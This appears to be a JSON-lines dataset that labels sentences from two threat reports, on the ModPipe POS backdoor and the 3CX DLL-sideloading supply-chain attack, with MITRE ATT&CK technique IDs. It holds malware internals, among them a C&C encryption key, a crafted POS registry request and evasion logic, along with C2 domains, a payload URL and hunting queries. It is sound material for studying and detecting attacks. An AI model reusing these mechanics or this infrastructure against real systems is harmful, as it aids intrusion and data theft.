{"sentence": "The response from the “ping” IP address should contain the same 32-bit value rotated right by one bit and XORed with the value 0x6CF6B8A8.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "If the response on at least one of the ports provides the appropriate value, the module will start the scan of the selected IP addresses.", "labels": ["T1016"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "A decompilation of this ping function is shown in Figure 4. Figure 4.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "HTTP/1.1Accept: text/xmlUser-Agent: MDS POS ClientHost: %s:50123Content-Length: 459Connection: Keep-AliveCache-Control: no-cache <SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"> <SOAP-ENV:Body xmlns:MCRS-ENV=\"MCRS-URI\"> <MCRS-ENV:Service>MDSSYSUTILS</MCRS-ENV:Service> <MCRS-ENV:Method>Reg_GetValue</MCRS-ENV:Method> <MCRS-ENV:SessionKey>Session</MCRS-ENV:SessionKey> <MCRS-ENV:InputParameters> <Key>SOFTWARE\\MICROS</Key> <KeyType>HKEY_LOCAL_MACHINE</KeyType> <KeyName>Version</KeyName> </MCRS-ENV:InputParameters> </SOAP-ENV:Body> </SOAP-ENV:Envelope> Figure 5.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "MDS HTTP Service request Name of the database, extracted by sending a specially crafted TCP packet (possibly using the CMDSEQ command protocol) to the selected IP address on port 2638 used by the SAP Sybase Database Server.", "labels": ["T1095"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "The string representing the name of the database is located at offset 0x28 of the response sent by the database server.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Database server data, such as its name, version of the TDS protocol and the TDS server version.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "To gain this information, the ModScan module sends a hardcoded TDS 4.2 & 5.0 Login Packet (Figure 6) to the specified IP address on port 2638.", "labels": ["T1095"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "The TDS login packet is hardcoded, with username set to the built-in dba and a hardcoded password, which is potentially the default password in some RES 3700 POS versions.", "labels": ["T1078"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "As we haven’t found any public reference to this password, we won’t be publishing it in our blogpost. Figure 6.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "TDS 4.2 & 5.0 Login Packet used by the ModScan module, dissected using Wireshark Downloadable module: ProcList", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "The last of the downloadable modules we were able to obtain and dissect was ProcList.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Its main purpose is to collect information about currently running processes, including: name, process identifier (PID), parent process PID, number of threads, token owner, token domain, process creation time, and command line.", "labels": ["T1057"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Optionally, ProcList can also collect information about loaded modules for each of the running processes.", "labels": ["T1057"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Collected information is sent to the main module of the backdoor (using pipe message 0x10000013).", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "During our investigation, we discovered one dropper executable on two compromised machines, stored in the following locations: C:\\IQXDatabase\\Live\\1.exe C:\\OasisLive\\1.exe Each time the initial dropper is executed, a unique configuration is generated, using mostly random bytes.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "This causes the hash of the dropped loader to change with each execution, complicating detection and tracking of the malware.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "The dropper component can drop the loader into two possible locations and set up the persistence mechanism by creating a Windows service or Windows registry Run key (for details, please refer to the Indicators of Compromise section).", "labels": ["T1112", "T1543.003"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "The dropper decrypts this payload using the provided command line parameter, then executes it.", "labels": ["T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Each of the loaders is encrypted using its own XOR key, each 0x80 bytes long.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Decompiled code responsible for loading the payload from the binary’s resources, its decryption and execution is shown in Figure 7.", "labels": ["T1027", "T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Hex-Rays decompiled code – decryption and execution of the payload in the initial dropper An example of an encrypted and decrypted configuration with explanations is visible in Figure 8.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "The configuration shown comes from the loader installed by the dropper sample with SHA-1 hash 9f8530627a8ad38f47102f626dec9f0173b44cd5.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Note that the structure of the configuration can vary between older and newer versions of the loader executable.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Example of the loader’s generated configuration (upper is encrypted, lower decrypted)", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Persistent loader This component is responsible for both unpacking the main module and for its injection into one of the following processes: lsass.exe wininit.exe services.exe To unpack the main module, the persistent loader uses different approaches for the 32-bit and 64-bit versions.", "labels": ["T1027", "T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "While the 32-bit loader is almost identical to the initial dropper – the only difference being the payloads stored in the resources – the 64-bit loader uses completely different “unpacking” code.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "A list of all the loader hashes is included in the Indicators of Compromise section.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Timeline of known ModPipe variants and their timestamps.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Main module The main module is mostly responsible for managing C&C communication and for handling received messages/commands, either from C&C or downloadable modules.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "To facilitate the communication with modules, the main module starts by creating a pipe with a randomly generated name formatted using the following format string: {%08X-%04X-%04X-%04X-%08X%04X}", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "It then periodically checks the pipe for new messages using the PeekNamedPipe Windows API function.", "labels": ["T1106"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Messages are parsed and handled according to their content.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "For a full list of recognized pipe commands and messages see Table 3. Table 3.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "0x10000014write requested configuration data to the file handle received in this message (most likely handle to named pipe created by some other module) (main config, network config, loader name, main module PID, ...) 0x10000020C&C commands (not encrypted) – see Table 4 for the full list of available commands 0x10000022set module status (or err code)", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Structure of the main module’s named pipe messages For communication with its C&C server, the main module uses HTTP and port 80.", "labels": ["T1071.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Each of the dissected samples contained a list of potentially available servers from which one was randomly chosen.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "A list of all C&C addresses discovered over the course of our research is available in the Indicators of Compromise section.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Messages sent to the C&C (see Figure 11) are constructed and encrypted within the main module’s code.", "labels": ["T1027"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Communication with the C&C is encrypted using AES in CBC mode with the following 128-bit key:", "labels": ["T1573.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "F45D076FEC641691A21F0C946EDA9BD5.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Before encryption, C&C messages start with a 4-byte checksum, which is calculated as CRC32 (message) XORed with the first 4 bytes of the AES key used to encrypt the message.", "labels": ["T1573.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "In the case of the key mentioned above, this would be F4 5D 07 6F. The data is transmitted using the lightweight networking module, which is injected on demand and exits immediately after uploading or downloading the requested message.", "labels": ["T1095"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "To select the process for injection, the main module enumerates running processes and assigns them a priority value between 3 and 6.", "labels": ["T1057"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Those with higher priority are injected first, based on the following criteria: Priority 6 The highest priority, assigned to any process that has already been used successfully to inject a networking module, received a response from the C&C and that is still running under the same PID, name and CreationTime.", "labels": ["T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Priority 5 Process name with no extension that matches one of the following process names used for browsers: iexplore, opera, chrome, firefox Priority 4 Process name with no extension that matches the following process names: explorer, svchost Priority 3 All the other running processes excluding the following system processes: system, lsass, csrss, lsm, winlogon, smss, wininit The main reason behind the priority list is to inject processes that are expected to communicate over the network and at the same time avoid system processes that might attract attention if caught communicating over the network.", "labels": ["T1055", "T1071.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Networking module This ModPipe module is responsible for sending requests to C&C and parsing payload received in the C&C responses.", "labels": ["T1105"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "HTTP GET message header Responses from the C&C server have to be at least 33-bytes long in order to be parsed by the networking module and the malicious payload is located after a sequence of 13 spaces followed by an HTML comment opening tag.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "An example of a server response including this sequence is shown in Figure 14.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "The main module then decrypts the payload, verifies its checksum and executes the C&C command.", "labels": ["T1140"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Available commands are listed in Table 4.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Table 4.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "0x0FSave network configuration to the encrypted storage Conclusion ModPipe shows quite a few interesting features.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "By acquiring the database passwords, the attackers gain broad access to sensitive information even though the most sensitive data stored in devices running RES 3700 POS should still be protected by encryption.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "The proficiency of the operators could stem from multiple scenarios, including stealing and reverse engineering the proprietary software product, misusing its leaked parts or buying code from an underground market.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "To keep the operators behind ModPipe at bay, potential victims in the hospitality sector as well as any other businesses using the RES 3700 POS are advised to: Use the latest version of the software.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Use it on devices that run updated operating system and software.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Dropper samples 9F8530627A8AD38F47102F626DEC9F0173B44CD5 FEE9C08B494C80DBF73A6F70FACD20ED0429330D Loader samples 0D1A4CB620576B8ADD34F919B4C6C46E7C3F9A59 B47E05D67DC055AF5B0689782D67EAA2EB8C75E3 F213B4EEF63F06EC127D3DC3265E14EE190B71E5 B2CE307DFE65C188FDAE169ABD65B75B112522C4 2AC7A2C09E50EAFABF1F401194AC487ED96C6781 0F4355A17AABD3645788341EAC2A9BB759DB95EE", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "File paths %CSIDL_APPDATA%\\Microsoft\\Windows\\{%rand_guid%}\\explorer.exe %WINDIR%\\system32\\%random_name%.exe %rand_guid% – pseudo-random GUID formatted string %random_name% – from 4 to 7 pseudo-random letters (a-z) with the first one capital e.g. “Cvoeqo.exe” MITRE ATT&CK techniques Note: This table was built using version 7 of the MITRE ATT&CK framework.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Windows Command ShellAttackers were seen using Windows Command Shell to execute the initial dropper. PersistenceT1547.001Boot or Logon Autostart Execution: Registry Run Keys / Startup FolderModPipe can use Registry Run key for persistence.", "labels": ["T1059.003", "T1547.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "T1543.003Create or Modify System Process:", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Windows ServiceModPipe can create a new service for persistence.", "labels": ["T1543.003"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Privilege EscalationT1134.001Access Token Manipulation:", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Token Impersonation/TheftAttackers were seen using partially modified PrintSpoofer tool to drop and subsequently execute loader with SYSTEM privileges.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Defense EvasionT1055.002Process Injection: Portable Executable InjectionModPipe can inject it’s modules into various processes.", "labels": ["T1055"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "T1205Traffic SignalingModPipe’s ModScan module sends random 32-bit values to TCP ports 50123 and 2638 of the specified IP address and requires a specific response in order to continue executing its scan functionality.", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Credential AccessT1552.002Unsecured Credentials: Credentials in RegistryModPipe’s GetMicInfo module retrieves encrypted database passwords for ORACLE MICROS RES 3700 POS software from Windows Registry and uses a custom algorithm to decrypt them before uploading to the C&C. DiscoveryT1057Process DiscoveryModPipe’s ProcList module can get information about processes running on a system.", "labels": ["T1057"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "T1012Query RegistryModPipe’s GetMicInfo module queries the Registry for ORACLE MICROS RES 3700 POS version, database passwords and other configuration data.", "labels": ["T1012"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "T1033System Owner/User DiscoveryModPipe gathers username and computer name from victim machines and reports them to the C&C in initial message.", "labels": ["T1033"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Symmetric CryptographyModPipe encrypts communication with C&C using AES in CBC mode.", "labels": ["T1573.001"], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "12 Nov 2020 - 11:30AM", "labels": [], "doc_title": "Hungry for data ModPipe backdoor hits POS software used in hospitality sector"}
{"sentence": "Sophos X-Ops is tracking a developing situation concerning a seeming supply-chain attack, possibly undertaken by a nation-state-related group.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "We will update this page as events and understanding develop, including our threat and detection guidance.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "[Latest version published 23:00 UTC 01-April-23, adding Troj/Steal-DLG to Detection Protections/Static detection, two more queries customers may use to determine their exposure to the attack, new analysis of an emergent line of inquiry concerning a timestamp mechanism in the malicious code, and information on analysis of other Electron-built apps using ffmpeg.dll 23:30 UTC 30-March-23, adding detail on affected versions, misuse of ffmpeg.dll, removal of malicious repository, comparison of PE shellcode loader to that used by Lazarus threat group, more queries customers may use to determine their exposure to the attack, and various additional detections] Overview The affected software is 3CX – a legitimate software-based PBX phone system available on Windows, MacOS, Linux, Android, and iOS.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "The software is a digitally signed version of the softphone desktop client for both Windows and MacOS, which includes a malicious payload.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "The most common post-exploitation event we have observed to date is the presence of an infostealer that targets the browser(s) on a compromised system.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "At this writing, 3CX has deprecated the affected versions of the Windows application.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "At present, the only platforms confirmed by our customer data to be affected are Windows and MacOS, which is in agreement with 3CX’s information on affected platforms.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "According to information on their support forum, Android and iOS versions of the software are not believed to be affected.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Threat analysis On March 22, users of 3CX began discussion of potential false-positive detections of 3CXDesktopApp by their endpoint security agents.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Figure 1: The update process at the moment the malicious version drops Sophos MDR first identified malicious activity directed at its own customers and stemming from 3CXDesktopApp on March 29, 2023.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Additionally, Sophos MDR has observed the campaign leveraging a public file storage to host encoded malware.", "labels": ["T1027"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "This repository has been in use since December 8, 2022; after news of the compromise spread widely on March 29, the repository was taken down.", "labels": ["T1574.002"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "The attack revolves around a DLL sideloading scenario, one with a remarkable number of components involved.", "labels": ["T1574.002"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "This is likely to ensure that customers were able to use the 3CX desktop package without noticing anything unusual about the affected package.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "We have identified three crucial components: 3CXDesktopApp.exe, the clean loader d3dcompiler_47.dll, a DLL with an appended encrypted payload ffmpeg.dll, a Trojanized loader Figure 2 presents a high-level look at the attack flow as it works in Windows; there are some minor variations in the later steps with the MacOS version.", "labels": ["T1027"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Figure 2: A high-level view of the attack flow The file ffmpeg.dll contains an embedded URL which retrieved a malicious encoded .ico payload from GitHub file storage at https[:]//raw.githubusercontent.com/IconStorages/images/main/ — though, again, once news of the compromise spread widely, this repository was taken down.", "labels": ["T1027"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "We saw several variations on the ffmpeg.dll file, including one that was signed by 3CX’s own certificate; these appear to be maliciously patched versions of the legitimate ffmpeg.dll.", "labels": ["T1036.005"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "In a statement on Thursday, the team responsible for ffmpeg’s source code took pains to distance their work from the 3CX compromise.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Figure 3: When ffmpeg stepped onto Twitter to defend its code In a normal DLL sideloading scenario, the malicious loader (ffmpeg.dll) would replace the clean dependency; its only function would be to queue up the payload.", "labels": ["T1574.002"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "However, in this case, that loader is also entirely functional, as it would normally be in the 3CX product – instead, there’s an additional payload inserted at the DllMain function.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "This adds bulk, but may have lowered suspicions – the abused 3CX application functions as expected, even as the Trojan addresses reached out to the C2 beacon.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "We conclude from this that this compromise does not affect other Electron apps — only the 3CX ffmpeg.dll. Figure 4: What the affected 3CX developers and customers experienced Allowing the abused software to remain functional is not dissimilar to other DLL sideloading cases we’ve seen, but this campaign is slightly different even from the current rash of DLL sideloading cases we’ve seen.", "labels": ["T1574.002"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "In particular, we’ve noted that the PE shellcode loader in use is unique in our experience.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Previous to this, we’ve only seen it in incidents attributed to the Lazarus group; the code in this incident is a byte-to-byte match to those previous samples.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "TimeStamp Check Analysis As part of our ongoing investigation, we found a timestamp mechanism in the code as shown below.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "The results of check_timestamp are evaluated against “v6,” a variable which holds the value coming from cbData.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "cbData is collected from the “manifest” file as shown below.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Figure 6: Collecting the cbData “manifest” is a file that the malware writes to the system under the “3cxdesktopapp” folder during the initial stage of the infection.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "When the manifest is created, a dword value is written based on the current timestamp, with additional arithmetic operations performed on it.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "In other words, the value be up to a total of 28 days ahead.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "So long as the results of check_timestamp are less than v6 (the timestamp value from manifest), the loop continues to sleep.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Only once the results of check_timestamp are greater than the manifest timestamp will the code proceed and generate the HTTP request to connect with GitHub, which initiates the payload download.", "labels": ["T1071.001", "T1105"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Hunting information Determining impact with Sophos XDR 1.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Determining whether hosts have communicated with threat actor infrastructure:", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Data Lake The below query will search for hosts that have communicated with the various known URLs in use by this campaign.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "SELECT meta_hostname, sophos_pids, domain, clean_urls, source_ips, destination_ips, timestamps, ingestion_timestamp FROM xdr_data WHERE query_name = 'sophos_urls_windows' AND (LOWER(domain) LIKE '%akamaicontainer[.]com%' OR LOWER(domain) LIKE '%akamaitechcloudservices[.]com%' OR LOWER(domain) LIKE '%azuredeploystore[.]com%' OR LOWER(domain) LIKE '%azureonlinecloud[.]com%' OR LOWER(domain) LIKE '%azureonlinestorage[.]com%' OR LOWER(domain) LIKE '%dunamistrd[.]com%' OR LOWER(domain) LIKE '%glcloudservice[.]com%' OR LOWER(domain) LIKE '%journalide[.]org%' OR LOWER(domain) LIKE '%msedgepackageinfo[.]com%' OR LOWER(domain) LIKE '%msstorageazure[.]com%' OR LOWER(domain) LIKE '%msstorageboxes[.]com%' OR LOWER(domain) LIKE '%officeaddons[.]com%' OR LOWER(domain) LIKE '%officestoragebox[.]com%' OR LOWER(domain) LIKE '%pbxcloudeservices[.]com%' OR LOWER(domain) LIKE '%pbxphonenetwork[.]com%' OR LOWER(domain) LIKE '%pbxsources[.]com%' OR LOWER(domain) LIKE '%qwepoi123098[.]com%' OR LOWER(domain) LIKE '%sbmsa[.]wiki%' OR LOWER(domain) LIKE '%sourceslabs[.]com%' OR LOWER(domain) LIKE '%visualstudiofactory[.]com%' OR LOWER(domain) LIKE '%zacharryblogs[.]com%' OR (LOWER(domain) LIKE '%raw.githubusercontent[.]com%' AND LOWER(clean_urls) LIKE '%/iconstorages/images/main/%'))", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "2. Determining whether hosts have interacted with malicious files SELECT f.filename, f.directory, ROUND((f.size * 10e-7),2) AS size_MB, h.sha256, f.type, f.attributes, f.mode, datetime(f.btime,'unixepoch') AS file_created_time, datetime(f.atime,'unixepoch') AS file_last_access_time, datetime(f.mtime,'unixepoch') AS file_last_modified_time, datetime(f.ctime,'unixepoch') AS file_last_status_change_time, f.uid, u.username AS file_owner FROM file f LEFT JOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid LEFT JOIN hash h ON f.path = h.path", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "AND (f.filename = 'ffmpeg.dll' OR f.filename LIKE 'd3dcompiler%.dll' OR f.filename = 'trololo.dll')", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "AND (h.sha256 = 'c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02' OR h.sha256 = '11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03' OR h.sha256 = '7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896' OR h.sha256 = 'aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973')", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "3.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Determining whether hosts are running affected versions SELECT MIN(ingestion_timestamp) AS first_seen, MAX(ingestion_timestamp) AS last_seen, meta_hostname, ARRAY_JOIN(ARRAY_AGG(DISTINCT(meta_hostname)), ', ')", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "AS hosts, ARRAY_JOIN(ARRAY_AGG(sophos_pid),', ')", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "AS spids, LOWER(name) AS name, sha256, company_name, file_description, file_size, file_version, original_filename FROM xdr_data WHERE query_name = 'running_processes_windows_sophos' AND ( LOWER(name) = '3cxdesktopapp.exe' OR LOWER(original_filename) = '3cxdesktopapp.exe' OR LOWER(product_name)", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "='3cx desktop app')", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "GROUP by meta_hostname, LOWER(name), sha256, company_name, file_description, file_size, file_version, original_filename ORDER BY meta_hostname desc 4.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Determining whether hosts have communicated with threat actor infrastructure, for MacOS SELECT meta_hostname, date_format(from_unixtime(time), '%Y-%m-%d", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "AS date_time, ingestion_timestamp pid, name, cmdline, path, parent, gid, uid, euid, egid, sha1, sha256 FROM xdr_data WHERE query_name = 'running_processes_osx_events' AND LOWER(cmdline) LIKE '%sh -c%' AND LOWER(cmdline) LIKE '%/3cx desktop app/updateagent%' 5.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Enabling firewall customers to identify activity to malicious domains SELECT timestamp, log_component, log_subtype, user_name, user_group, app_name, src_ip, src_port, protocol, dst_ip, dst_port, http_category, url, domain, http_user_agent, http_status FROM xgfw_data WHERE LOWER(log_component) = 'http' AND (LOWER(domain) = 'akamaicontainer.com' OR LOWER(domain) = 'akamaitechcloudservices.com' OR LOWER(domain) = 'azuredeploystore.com' OR LOWER(domain) = 'azureonlinecloud.com' OR LOWER(domain) = 'azureonlinestorage.com' OR LOWER(domain) = 'dunamistrd.com' OR LOWER(domain) = 'glcloudservice.com' OR LOWER(domain) = 'journalide.org' OR LOWER(domain) = 'msedgepackageinfo.com' OR LOWER(domain) = 'msstorageazure.com' OR LOWER(domain) = 'msstorageboxes.com' OR LOWER(domain) = 'officeaddons.com' OR LOWER(domain) = 'officestoragebox.com' OR LOWER(domain) = 'pbxcloudeservices.com' OR LOWER(domain) = 'pbxphonenetwork.com' OR LOWER(domain) = 'pbxsources.com' OR LOWER(domain) = 'qwepoi123098.com' OR LOWER(domain) = 'sbmsa.wiki' OR LOWER(domain) = 'sourceslabs.com' OR LOWER(domain) = 'visualstudiofactory.com' OR LOWER(domain) = 'zacharryblogs.com' OR (LOWER(domain) LIKE '%raw.githubusercontent.com%' AND LOWER(url) LIKE '%/iconstorages/images/main/%'))", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "3cxdesktopapp/18.12.407%' OR LOWER(http_user_agent) LIKE '%3cxdesktopapp/18.11.1213%' OR LOWER(http_user_agent) LIKE '", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "As of March 30, the company was recommending that customers uninstall and reinstall the app, and suggested that they might also use the company’s browser-based PWA client while the situation was sorted out.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
